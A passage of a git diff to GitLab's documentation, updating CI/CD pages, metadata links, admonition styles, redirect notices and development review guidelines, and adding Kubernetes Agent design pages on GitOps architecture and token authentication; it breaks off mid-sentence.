+The full pipeline in the example is composed of three jobs, grouped into two stages, +`build` and `test`. The pipeline runs every time changes are pushed to any +branch in the project. + +GitLab CI/CD not only executes the jobs but also shows you what's happening during execution, +just as you would see in your terminal: + + + +You create the strategy for your app and GitLab runs the pipeline +according to what you've defined. Your pipeline status is also +displayed by GitLab: + + + +If anything goes wrong, you can +[roll back](../environments/index.md#retrying-and-rolling-back) the changes: + + + +[View the full syntax for the `.gitlab-ci.yml` file](README.md). diff --git a/doc/ci/yaml/img/ci_config_visualization_hover_v13_5.png b/doc/ci/yaml/img/ci_config_visualization_hover_v13_5.png Binary files differdeleted file mode 100644 index e6c85bd39e4..00000000000 --- a/doc/ci/yaml/img/ci_config_visualization_hover_v13_5.png +++ /dev/null diff --git a/doc/ci/yaml/img/ci_config_visualization_hover_v13_7.png b/doc/ci/yaml/img/ci_config_visualization_hover_v13_7.png Binary files differnew file mode 100644 index 00000000000..9387fc6ccf4 --- /dev/null +++ b/doc/ci/yaml/img/ci_config_visualization_hover_v13_7.png diff --git a/doc/ci/yaml/img/ci_config_visualization_v13_5.png b/doc/ci/yaml/img/ci_config_visualization_v13_5.png Binary files differdeleted file mode 100644 index 0aee5cff7be..00000000000 --- a/doc/ci/yaml/img/ci_config_visualization_v13_5.png +++ /dev/null diff --git a/doc/ci/yaml/img/ci_config_visualization_v13_7.png b/doc/ci/yaml/img/ci_config_visualization_v13_7.png Binary files differnew file mode 100644 index 00000000000..ef2aa6fe9e9 --- /dev/null +++ b/doc/ci/yaml/img/ci_config_visualization_v13_7.png diff --git a/doc/ci/introduction/img/job_running.png b/doc/ci/yaml/img/job_running.png Binary files differindex efd138fd4f8..efd138fd4f8 100644 --- a/doc/ci/introduction/img/job_running.png +++ b/doc/ci/yaml/img/job_running.png diff --git a/doc/ci/introduction/img/pipeline_status.png b/doc/ci/yaml/img/pipeline_status.png Binary files differindex 96881f072e1..96881f072e1 100644 --- a/doc/ci/introduction/img/pipeline_status.png +++ b/doc/ci/yaml/img/pipeline_status.png diff --git a/doc/ci/introduction/img/rollback.png b/doc/ci/yaml/img/rollback.png Binary files differindex 38e0552f4f1..38e0552f4f1 100644 --- a/doc/ci/introduction/img/rollback.png +++ b/doc/ci/yaml/img/rollback.png diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md index d7945617dc9..ec5934924fa 100644 --- a/doc/ci/yaml/includes.md +++ b/doc/ci/yaml/includes.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -67,7 +67,7 @@ include: ## Re-using a `before_script` template -In the following example, the content of `.before-script-template.yml` will be +In the following example, the content of `.before-script-template.yml` is automatically fetched and evaluated along with the content of `.gitlab-ci.yml`. Content of `https://gitlab.com/awesome-project/raw/master/.before-script-template.yml`: diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md index 87885c8e548..2d26d9f8922 100644 --- a/doc/ci/yaml/script.md +++ b/doc/ci/yaml/script.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -19,7 +19,7 @@ You can use special syntax in [`script`](README.md#script) sections to: You can split long commands into multiline commands to improve readability with `|` (literal) and `>` (folded) [YAML multiline block scalar indicators](https://yaml-multiline.info/). -CAUTION: **Warning:** +WARNING: If multiple commands are combined into one command string, only the last command's failure or success is reported. [Failures from earlier commands are ignored due to a bug](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25394). diff --git a/doc/ci/yaml/visualization.md b/doc/ci/yaml/visualization.md index 391ff9f852a..59a92370c70 100644 --- a/doc/ci/yaml/visualization.md +++ b/doc/ci/yaml/visualization.md @@ -1,30 +1,30 @@ --- stage: Verify group: Pipeline Authoring -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Visualize your CI/CD configuration > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241722) in GitLab 13.5. +> - [Moved to **CI/CD > Editor**](https://gitlab.com/gitlab-org/gitlab/-/issues/263141) in GitLab 13.7. > - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. > - It's disabled on GitLab.com. > - It's not recommended for production use. > - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cicd-configuration-visualization). **(CORE ONLY)** -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. -To see a visualization of your `gitlab-ci.yml` configuration, navigate to any CI/CD -configuration file and click on the `Visualization` tab. The visualization shows -all stages and jobs. [`needs`](README.md#needs) relationships are displayed as lines -connecting jobs together, showing the hierarchy of execution: +To see a visualization of your `gitlab-ci.yml` configuration, navigate to **CI/CD > Editor** +and select the `Visualization` tab. The visualization shows all stages and jobs. +[`needs`](README.md#needs) relationships are displayed as lines connecting jobs together, showing the hierarchy of execution: - + Hovering on a job highlights its `needs` relationships: - + If the configuration does not have any `needs` relationships, then no lines are drawn because each job depends only on the previous stage being completed successfully. @@ -42,11 +42,11 @@ can enable it. To enable it: ```ruby -Feature.enable(:gitlab_ci_yml_preview) +Feature.enable(:ci_config_visualization_tab) ``` To disable it: ```ruby -Feature.disable(:gitlab_ci_yml_preview) +Feature.disable(:ci_config_visualization_tab) ``` diff --git a/doc/customization/branded_login_page.md b/doc/customization/branded_login_page.md index 9667e5e380a..cf593f360c8 100644 --- a/doc/customization/branded_login_page.md +++ b/doc/customization/branded_login_page.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#sign-in--sign-up-pages' --- This document was moved to [another location](../user/admin_area/appearance.md#sign-in--sign-up-pages). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/branded_page_and_email_header.md b/doc/customization/branded_page_and_email_header.md index 64958521f64..21a69178b6d 100644 --- a/doc/customization/branded_page_and_email_header.md +++ b/doc/customization/branded_page_and_email_header.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#navigation-bar' --- This document was moved to [another location](../user/admin_area/appearance.md#navigation-bar). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/favicon.md b/doc/customization/favicon.md index d43ed944e26..3d6c2f62b25 100644 --- a/doc/customization/favicon.md +++ b/doc/customization/favicon.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#favicon' --- This document was moved to [another location](../user/admin_area/appearance.md#favicon). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/help_message.md b/doc/customization/help_message.md index 5694ee89c17..3f13e4efdbd 100644 --- a/doc/customization/help_message.md +++ b/doc/customization/help_message.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/settings/help_page.md' --- This document was moved to [another location](../user/admin_area/settings/help_page.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/index.md b/doc/customization/index.md index f3e1e3190fd..3c88ad8106b 100644 --- a/doc/customization/index.md +++ b/doc/customization/index.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md' --- This document was moved to [another location](../user/admin_area/appearance.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/issue_and_merge_request_template.md b/doc/customization/issue_and_merge_request_template.md index bab81629221..0b4ca009080 100644 --- a/doc/customization/issue_and_merge_request_template.md +++ b/doc/customization/issue_and_merge_request_template.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/description_templates.md' --- This document was moved to [description_templates](../user/project/description_templates.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/issue_closing.md b/doc/customization/issue_closing.md index 9333f55ca9c..c860f51dc2f 100644 --- a/doc/customization/issue_closing.md +++ b/doc/customization/issue_closing.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/issues/managing_issues.md#closing-issues-automatic --- This document was moved to [another location](../user/project/issues/managing_issues.md#closing-issues-automatically). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/libravatar.md b/doc/customization/libravatar.md index 78df24066ea..affb6211377 100644 --- a/doc/customization/libravatar.md +++ b/doc/customization/libravatar.md @@ -3,3 +3,6 @@ redirect_to: '../administration/libravatar.md' --- This document was moved to [another location](../administration/libravatar.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/new_project_page.md b/doc/customization/new_project_page.md index ee09df26cb1..82549d62960 100644 --- a/doc/customization/new_project_page.md +++ b/doc/customization/new_project_page.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#new-project-pages' --- This document was moved to [another location](../user/admin_area/appearance.md#new-project-pages). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/system_header_and_footer_messages.md b/doc/customization/system_header_and_footer_messages.md index 1d17f3bee3f..03dccfb35c9 100644 --- a/doc/customization/system_header_and_footer_messages.md +++ b/doc/customization/system_header_and_footer_messages.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#system-header-and-footer-messages --- This document was moved to [another location](../user/admin_area/appearance.md#system-header-and-footer-messages). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/welcome_message.md b/doc/customization/welcome_message.md index 9667e5e380a..cf593f360c8 100644 --- a/doc/customization/welcome_message.md +++ b/doc/customization/welcome_message.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#sign-in--sign-up-pages' --- This document was moved to [another location](../user/admin_area/appearance.md#sign-in--sign-up-pages). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/README.md b/doc/development/README.md index 75ea6ae5f3b..2e4674b5288 100644 --- a/doc/development/README.md +++ b/doc/development/README.md @@ -11,20 +11,24 @@ description: "Development Guidelines: learn how to contribute to GitLab." Learn the processes and technical information needed for contributing to GitLab. -This content is intended for members of the GitLab Team as well as community contributors. -Content specific to the GitLab Team should instead be included in the [Handbook](https://about.gitlab.com/handbook/). +This content is intended for members of the GitLab Team as well as community +contributors. Content specific to the GitLab Team should instead be included in +the [Handbook](https://about.gitlab.com/handbook/). -For information on using GitLab to work on your own software projects, see the [GitLab user documentation](../user/index.md). +For information on using GitLab to work on your own software projects, see the +[GitLab user documentation](../user/index.md). -For information on working with GitLab's API, see the [API documentation](../api/README.md). +For information on working with the GitLab APIs, see the [API documentation](../api/README.md). -For information on how to install, configure, update, and upgrade your own GitLab instance, see the [administration documentation](../administration/index.md). +For information about how to install, configure, update, and upgrade your own +GitLab instance, see the [administration documentation](../administration/index.md). ## Get started -- Set up GitLab's development environment with [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/README.md) +- Set up the GitLab development environment with the + [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/README.md) - [GitLab contributing guide](contributing/index.md) - - [Issues workflow](contributing/issue_workflow.md) for more information on: + - [Issues workflow](contributing/issue_workflow.md) for more information about: - Issue tracker guidelines. - Triaging. - Labels. @@ -33,7 +37,7 @@ For information on how to install, configure, update, and upgrade your own GitLa - Regression issues. - Technical or UX debt. - [Merge requests workflow](contributing/merge_request_workflow.md) for more - information on: + information about: - Merge request guidelines. - Contribution acceptance criteria. - Definition of done. @@ -48,8 +52,10 @@ For information on how to install, configure, update, and upgrade your own GitLa **Must-reads:** - [Guide on adapting existing and introducing new components](architecture.md#adapting-existing-and-introducing-new-components) -- [Code review guidelines](code_review.md) for reviewing code and having code reviewed -- [Database review guidelines](database_review.md) for reviewing database-related changes and complex SQL queries, and having them reviewed +- [Code review guidelines](code_review.md) for reviewing code and having code + reviewed +- [Database review guidelines](database_review.md) for reviewing + database-related changes and complex SQL queries, and having them reviewed - [Secure coding guidelines](secure_coding_guidelines.md) - [Pipelines for the GitLab project](pipelines.md) @@ -60,26 +66,86 @@ Complementary reads: - [Guidelines for implementing Enterprise Edition features](ee_features.md) - [Danger bot](dangerbot.md) - [Generate a changelog entry with `bin/changelog`](changelog.md) -- [Requesting access to Chatops on GitLab.com](chatops_on_gitlabcom.md#requesting-access) (for GitLab team members) +- [Requesting access to ChatOps on GitLab.com](chatops_on_gitlabcom.md#requesting-access) (for GitLab team members) - [Patch release process for developers](https://gitlab.com/gitlab-org/release/docs/blob/master/general/patch/process.md#process-for-developers) - [Adding a new service component to GitLab](adding_service_component.md) ### Development guidelines review -When you submit a change to GitLab's development guidelines, request a review -from: +When you submit a change to the GitLab development guidelines, who +you ask for reviews depends on the level of change. -- A member of your team or group, to check for technical accuracy. -- For **significant** changes or proposals, request review from: - - Engineering managers (FE, BE, DB, Security, UX, and others), according to the subject or process you're proposing. - - The VP of Development (DRI) ([@clefelhocz1](https://gitlab.com/clefelhocz1)), for - final approval of the new or changed guidelines. -- The [Technical Writer assigned to dev guidelines](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines), - to review the content for consistency and adherence to documentation guidelines. +#### Wording, style, or link changes + +Not all changes require extensive review. For example, MRs that don't change the +content's meaning or function can be reviewed, approved, and merged by any +maintainer or Technical Writer. These can include: + +- Typo fixes. +- Clarifying links, such as to external programming language documentation. +- Changes to comply with the [Documentation Style Guide](documentation/index.md) + that don't change the intent of the documentation page. + +#### Specific changes + +If the MR proposes changes that are limited to a particular stage, group, or team, +request a review and approval from an experienced GitLab Team Member in that +group. For example, if you're documenting a new internal API used exclusively by +a given group, request an engineering review from one of the group's members. + +After the engineering review is complete, assign the MR to the +[Technical Writer associated with the stage and group](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments) +in the modified documentation page's metadata. + +If you have questions or need further input, request a review from the +Technical Writer assigned to the [Development Guidelines](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines). + +#### Broader changes + +Some changes affect more than one group. For example: + +- Changes to [code review guidelines](code_review.md). +- Changes to [commit message guidelines](contributing/merge_request_workflow.md#commit-messages-guidelines). +- Changes to guidelines in [feature flags in development of GitLab](feature_flags/). +- Changes to [feature flags documentation guidelines](documentation/feature_flags.md). + +In these cases, use the following workflow: + +1. Request a peer review from a member of your team. +1. Request a review and approval of an Engineering Manager (EM) + or Staff Engineer who's responsible for the area in question: + + - [Frontend](https://about.gitlab.com/handbook/engineering/frontend/) + - [Backend](https://about.gitlab.com/handbook/engineering/) + - [Database](https://about.gitlab.com/handbook/engineering/development/database/) + - [User Experience (UX)](https://about.gitlab.com/handbook/engineering/ux/) + - [Security](https://about.gitlab.com/handbook/engineering/security/) + - [Quality](https://about.gitlab.com/handbook/engineering/quality/) + - [Infrastructure](https://about.gitlab.com/handbook/engineering/infrastructure/) + - [Technical Writing](https://about.gitlab.com/handbook/engineering/ux/technical-writing/) + + You can skip this step for MRs authored by EMs or Staff Engineers responsible + for their area. + + If there are several affected groups, you may need approvals at the + EM/Staff Engineer level from each affected area. + +1. After completing the reviews, consult with the EM/Staff Engineer + author / approver of the MR. + + If this is a significant change across multiple areas, request final review + and approval from the VP of Development, the DRI for Development Guidelines, + @clefelhocz1. + +1. After all approvals are complete, assign the merge request to the + Technical Writer for [Development Guidelines](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines) + for final content review and merge. The Technical Writer may ask for + additional approvals as previously suggested before merging the MR. ## UX and Frontend guides -- [GitLab Design System](https://design.gitlab.com/) for building GitLab with existing CSS styles and elements +- [GitLab Design System](https://design.gitlab.com/), for building GitLab with + existing CSS styles and elements - [Frontend guidelines](fe_guide/index.md) - [Emoji guide](fe_guide/emojis.md) @@ -89,7 +155,8 @@ from: - [Issuable-like Rails models](issuable-like-models.md) - [Logging](logging.md) - [API style guide](api_styleguide.md) for contributing to the API -- [GraphQL API style guide](api_graphql_styleguide.md) for contributing to the [GraphQL API](../api/graphql/index.md) +- [GraphQL API style guide](api_graphql_styleguide.md) for contributing to the + [GraphQL API](../api/graphql/index.md) - [Sidekiq guidelines](sidekiq_style_guide.md) for working with Sidekiq workers - [Working with Gitaly](gitaly.md) - [Manage feature flags](feature_flags/index.md) @@ -98,10 +165,11 @@ from: - [Shell commands](shell_commands.md) in the GitLab codebase - [`Gemfile` guidelines](gemfile.md) - [Pry debugging](pry_debugging.md) -- [Sidekiq debugging](sidekiq_debugging.md) +- [Sidekiq debugging](../administration/troubleshooting/sidekiq.md) - [Accessing session data](session.md) - [Gotchas](gotchas.md) to avoid -- [Avoid modules with instance variables](module_with_instance_variables.md) if possible +- [Avoid modules with instance variables](module_with_instance_variables.md), if + possible - [How to dump production data to staging](db_dump.md) - [Working with the GitHub importer](github_importer.md) - [Import/Export development documentation](import_export.md) @@ -135,6 +203,7 @@ from: - [Wikis development guide](wikis.md) - [Newlines style guide](newlines_styleguide.md) - [Image scaling guide](image_scaling.md) +- [Export to CSV](export_csv.md) ## Performance guides @@ -146,8 +215,9 @@ from: for ensuring merge requests do not negatively impact GitLab performance - [Profiling](profiling.md) a URL, measuring performance using Sherlock, or tracking down N+1 queries using Bullet. -- [Cached queries guidelines](cached_queries.md), for tracking down N+1 queries masked by query caching, memory profiling and why should - we avoid cached queries. +- [Cached queries guidelines](cached_queries.md), for tracking down N+1 queries + masked by query caching, memory profiling and why should we avoid cached + queries. ## Database guides @@ -159,6 +229,7 @@ See [database guidelines](database/index.md). - [Security Scanners](integrations/secure.md) - [Secure Partner Integration](integrations/secure_partner_integration.md) - [How to run Jenkins in development environment](integrations/jenkins.md) +- [How to run local Codesandbox integration for Web IDE Live Preview](integrations/codesandbox.md) ## Testing guides diff --git a/doc/development/adding_database_indexes.md b/doc/development/adding_database_indexes.md index d2526d6c4f2..0991c4740cc 100644 --- a/doc/development/adding_database_indexes.md +++ b/doc/development/adding_database_indexes.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Adding Database Indexes diff --git a/doc/development/adding_service_component.md b/doc/development/adding_service_component.md index 74309a5c616..7e2add2c91f 100644 --- a/doc/development/adding_service_component.md +++ b/doc/development/adding_service_component.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Adding a new Service Component to GitLab @@ -47,14 +47,14 @@ Adding a new service follows the same [merge request workflow](contributing/merg The first iteration should be to add the ability to connect and use the service as an externally installed component. Often this involves providing settings in GitLab to connect to the service, or allow connections from it. And then shipping documentation on how to install and configure the service with GitLab. -TIP: **Tip:** +NOTE: [Elasticsearch](../integration/elasticsearch.md#installing-elasticsearch) is an example of a service that has been integrated this way. And many of the other services, including internal projects like Gitaly, started off as separately installed alternatives. **For services that depend on the existing GitLab codebase:** The first iteration should be opt-in, either through the `gitlab.yml` configuration or through [feature flags](feature_flags/index.md). For these types of services it is often necessary to [bundle the service and its dependencies with GitLab](#bundling-a-service-with-gitlab) as part of the initial integration. -TIP: **Tip:** +NOTE: [ActionCable](https://docs.gitlab.com/omnibus/settings/actioncable.html) is an example of a service that has been added this way. ## Bundling a service with GitLab diff --git a/doc/development/agent/gitops.md b/doc/development/agent/gitops.md new file mode 100644 index 00000000000..8c8586326fa --- /dev/null +++ b/doc/development/agent/gitops.md @@ -0,0 +1,148 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# GitOps with the Kubernetes Agent **(PREMIUM ONLY)** + +The [GitLab Kubernetes Agent](../../user/clusters/agent/index.md) supports the +[pull-based version](https://www.gitops.tech/#pull-based-deployments) of +[GitOps](https://www.gitops.tech/). To be useful, the feature must be able to perform these tasks: + +- Connect one or more Kubernetes clusters to a GitLab project or group. +- Synchronize cluster-wide state from a Git repository. +- Synchronize namespace-scoped state from a Git repository. +- Control the following settings: + + - The kinds of objects an agent can manage. + - Enabling the namespaced mode of operation for managing objects only in a specific namespace. + - Enabling the non-namespaced mode of operation for managing objects in any namespace, and + managing non-namespaced objects. + +- Synchronize state from one or more Git repositories into a cluster. +- Configure multiple agents running in different clusters to synchronize state + from the same repository. + +## GitOps architecture + +In this architecture, the Kubernetes cluster (`agentk`) periodically fetches +configuration from (`kas`), spawning a goroutine for each configured GitOps +repository. Each goroutine makes a streaming `GetObjectsToSynchronize()` gRPC call. +`kas` accepts these requests, then checks if this agent is authorized to access +this GitLab repository. If authorized, `kas` polls Gitaly for repository updates +and sends the latest manifests to the agent. + +Before each poll, `kas` verifies with GitLab that the agent's token is still valid. +When `agentk` receives an updated manifest, it performs a synchronization using +[`gitops-engine`](https://github.com/argoproj/gitops-engine). + +If a repository is removed from the list, `agentk` stops the `GetObjectsToSynchronize()` +calls to that repository. + +```mermaid +graph TB + agentk -- fetch configuration --> kas + agentk -- fetch GitOps manifests --> kas + + subgraph "GitLab" + kas[kas] + GitLabRoR[GitLab RoR] + Gitaly[Gitaly] + kas -- poll GitOps repositories --> Gitaly + kas -- authZ for agentk --> GitLabRoR + kas -- fetch configuration --> Gitaly + end + + subgraph "Kubernetes cluster" + agentk[agentk] + end +``` + +## Architecture considered but not implemented + +As part of the implementation process, this architecture was considered, but ultimately +not implemented. + +In this architecture, `agentk` periodically fetches configuration from `kas`. For each +configured GitOps repository, it spawns a goroutine. Each goroutine then spawns a +copy of [`git-sync`](https://github.com/kubernetes/git-sync). It polls a particular +repository and invokes a corresponding webhook on `agentk` when it changes. When that +happens, `agentk` performs a synchronization using +[`gitops-engine`](https://github.com/argoproj/gitops-engine). + +For repositories no longer in the list, `agentk` stops corresponding goroutines +and `git-sync` copies, also deleting their cloned repositories from disk: + +```mermaid +graph TB + agentk -- fetch configuration --> kas + git-sync -- poll GitOps repositories --> GitLabRoR + + subgraph "GitLab" + kas[kas] + GitLabRoR[GitLab RoR] + kas -- authZ for agentk --> GitLabRoR + kas -- fetch configuration --> Gitaly[Gitaly] + end + + subgraph "Kubernetes cluster" + agentk[agentk] + git-sync[git-sync] + agentk -- control --> git-sync + git-sync -- notify about changes --> agentk + end +``` + +## Comparing implemented and non-implemented architectures + +Both architectures attempt to answer the same question: how to grant an agent +access to a non-public repository? + +In the **implemented** architecture: + +- Favorable: Fewer moving parts, as `git-sync` and `git` are not used, making this + design more reliable. +- Favorable: Uses existing connectivity and authentication mechanisms are used (gRPC + `agentk` token). +- Favorable: No polling through external infrastructure. Saves traffic and avoids + noise in access logs. + +In the **unimplemented** architecture: + +- Favorable: `agentk` uses `git-sync` to access repositories with standard protocols + (either HTTPS, or SSH and Git) with accepted authentication and authorization methods. + + - Unfavorable: The user must put credentials into a `secret`. GitLab doesn't have + a mechanism for per-repository tokens for robots. + - Unfavorable: Rotating all credentials is more work than rotating a single `agentk` token. + +- Unfavorable: A dependency on an external component (`git-sync`) that can be avoided. +- Unfavorable: More network traffic and connections than the implemented design + +### Ideas considered for the unimplemented design + +As part of the design process, these ideas were considered, and discarded: + +- Running `git-sync` and `gitops-engine` as part of `kas`. + + - Favorable: More code and infrastructure under our control for GitLab.com + - Unfavorable: Running an arbitrary number of `git-sync` processes would require + an unbounded amount of RAM and disk space. + - Unfavorable: Unclear which `kas` replica is responsible for which agent and + repository synchronization. If done as part of `agentk`, leader election can be + done using [client-go](https://pkg.go.dev/k8s.io/client-go/tools/leaderelection?tab=doc). + +- Running `git-sync` and a "`gitops-engine` driver" helper program as a separate + Kubernetes `Deployment`. + + - Favorable: Better isolation and higher resiliency. For example, if the node + with `agentk` dies, not all synchronization stops. + - Favorable: Each deployment has its own memory and disk limits. + - Favorable: Per-repository synchronization identity (distinct `ServiceAccount`) + can be implemented. + - Unfavorable: Time consuming to implement properly: + + - Each `Deployment` needs CRUD (create, update, and delete) permissions. + - Users may want to customize a `Deployment`, or add and remove satellite objects + like `PodDisruptionBudget`, `HorizontalPodAutoscaler`, and `PodSecurityPolicy`. + - Metrics, monitoring, logs for the `Deployment`. diff --git a/doc/development/agent/identity.md b/doc/development/agent/identity.md new file mode 100644 index 00000000000..65de1a6f0c8 --- /dev/null +++ b/doc/development/agent/identity.md @@ -0,0 +1,94 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Kubernetes Agent identity and authentication **(PREMIUM ONLY)** + +This page uses the word `agent` to describe the concept of the +GitLab Kubernetes Agent. The program that implements the concept is called `agentk`. +Read the +[architecture page](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md) +for more information. + +## Agent identity and name + +In a GitLab installation, each agent must have a unique, immutable name. This +name must be unique in the project the agent is attached to, and this name must +follow the [DNS label standard from RFC 1123](https://tools.ietf.org/html/rfc1123). +The name must: + +- Contain at most 63 characters. +- Contain only lowercase alphanumeric characters or `-`. +- Start with an alphanumeric character. +- End with an alphanumeric character. + +Kubernetes uses the +[same naming restriction](https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#dns-label-names) +for some names. + +The regex for names is: `/\A[a-z0-9]([-a-z0-9]*[a-z0-9])?\z/`. + +## Multiple agents in a cluster + +A Kubernetes cluster may have 0 or more agents running in it. Each agent likely +has a different configuration. Some may enable features A and B, and some may +enable features B and C. This flexibility enables different groups of people to +use different features of the agent in the same cluster. + +For example, [Priyanka (Platform Engineer)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#priyanka-platform-engineer) +may want to use cluster-wide features of the agent, while +[Sasha (Software Developer)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#sasha-software-developer) +uses the agent that only has access to a particular namespace. + +Each agent is likely running using a +[`ServiceAccount`](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/), +a distinct Kubernetes identity, with a distinct set of permissions attached to it. +These permissions enable the agent administrator to follow the +[principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) +and minimize the permissions each particular agent needs. + +## Kubernetes Agent authentication + +When adding a new agent, GitLab provides the user with a bearer access token. The +agent uses this token to authenticate with GitLab. This token is a random string +and does not encode any information in it, but it is secret and must +be treated with care. Store it as a `Secret` in Kubernetes. + +Each agent can have 0 or more tokens in a GitLab database. Having several valid +tokens helps you rotate tokens without needing to re-register an agent. Each token +record in the database has the following fields: + +- Agent identity it belongs to. +- Token value. Encrypted at rest. +- Creation time. +- Who created it. +- Revocation flag to mark token as revoked. +- Revocation time. +- Who revoked it. +- A text field to store any comments the administrator may want to make about the token for future self. + +Tokens can be managed by users with `maintainer` and higher level of +[permissions](../../user/permissions.md). + +Tokens are immutable, and only the following fields can be updated: + +- Revocation flag. Can only be updated to `true` once, but immutable after that. +- Revocation time. Set to the current time when revocation flag is set, but immutable after that. +- Comments field. Can be updated any number of times, including after the token has been revoked. + +The agent sends its token, along with each request, to GitLab to authenticate itself. +For each request, GitLab checks the token's validity: + +- Does the token exist in the database? +- Has the token been revoked? + +This information may be cached for some time to reduce load on the database. + +## Kubernetes Agent authorization + +GitLab provides the following information in its response for a given Agent access token: + +- Agent configuration Git repository. (The agent doesn't support per-folder authorization.) +- Agent name. diff --git a/doc/development/agent/index.md b/doc/development/agent/index.md new file mode 100644 index 00000000000..95661c8ddbd --- /dev/null +++ b/doc/development/agent/index.md @@ -0,0 +1,87 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Kubernetes Agent development **(PREMIUM ONLY)** + +This page contains developer-specific information about the GitLab Kubernetes Agent. +[End-user documentation about the GitLab Kubernetes Agent](../../user/clusters/agent/index.md) +is also available. + +The agent can help you perform tasks like these: + +- Integrate a cluster, located behind a firewall or NAT, with GitLab. To + learn more, read [issue #212810, Invert the model GitLab.com uses for Kubernetes integration by leveraging long lived reverse 